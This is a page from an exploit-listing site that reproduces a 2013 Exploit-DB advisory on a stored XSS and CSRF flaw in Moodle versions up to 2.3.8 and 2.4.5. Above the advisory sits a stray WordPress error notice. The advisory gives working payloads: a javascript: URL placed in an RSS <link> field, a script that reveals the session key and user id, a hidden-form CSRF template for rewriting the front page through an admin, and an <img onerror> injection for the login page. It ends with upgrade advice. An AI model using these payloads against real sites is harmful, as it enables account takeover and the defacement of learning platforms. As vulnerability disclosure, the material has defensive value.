Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Ciaran McNally - exploit.company
header-logo
Suggest Exploit
vendor:
Moodle
by:
Ciaran McNally
N/A
CVSS
N/A
Persistant XSS / CSRF
Unknown
CWE
Product Name: Moodle
Affected Version From: <= 2.3.8
Affected Version To: 2.4.2005
Patch Exists: No
Related CWE:
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested: Windows, Mac, Linux
2013

Ciaran McNally

At the following URL as a student, http://server/blog/external_blog_edit.php, it is possible to remotely add an rss blog. The <link> parameter in an rss feed is vulnerable to javascript injection. This blog post is viewable by everyone on moodle and you can link to it directly. Upon clicking the "Link to original blog entry" link, you get javascript execution. In moodle the "sesskey" parameter holds the session key used to prevent csrf, this isn't unique for every form once logged in so many forms can be submitted using this item. It is available on every page which makes xss quite dangerous in this case. Using a link value of <link>javascript:prompt(document.domain);</link>, this will display a demonstrative prompt as expected. For a live example you can remotely include my blog rss feed. http://makthepla.net/Rss/ My moodle blog post has a <link> value of the foll

Mitigation:

Unknown
Source

Exploit-DB raw data:

#######################################################################

                             Ciaran McNally

Application:     Moodle 
                 http://download.moodle.org/
Versions:        <= 2.3.8, 2.4.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS / CSRF
Exploitation:    WEB
Date:            9 September 2013.
Author:          Ciaran McNally
Web:             http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter:		 https://twitter.com/ciaranmak

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Moodle is a Course Management System (CMS), also known as a Learning 
Management System (LMS) or a Virtual Learning Environment (VLE). 
It is a Free web application that educators can use to create effective 
online learning sites.
#######################################################################

======
1) Bug
======
At the following URL as a student,

http://server/blog/external_blog_edit.php

It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection. 
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.

In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can 
be submitted using this item. It is available on every page which makes 
xss quite dangerous in this case.

#######################################################################

==============
2) The exploit
==============

Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.

For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);

This displays the session key and the current users id.


If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.

<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">

You can read more about this on the original blog post. 
You can get xss on the main login easily using html such as 
<img src=x onerror=XSS> when posting as an admin via csrf.


#######################################################################

======
3) Fix
======

https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)

Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.

#######################################################################

--
maK :)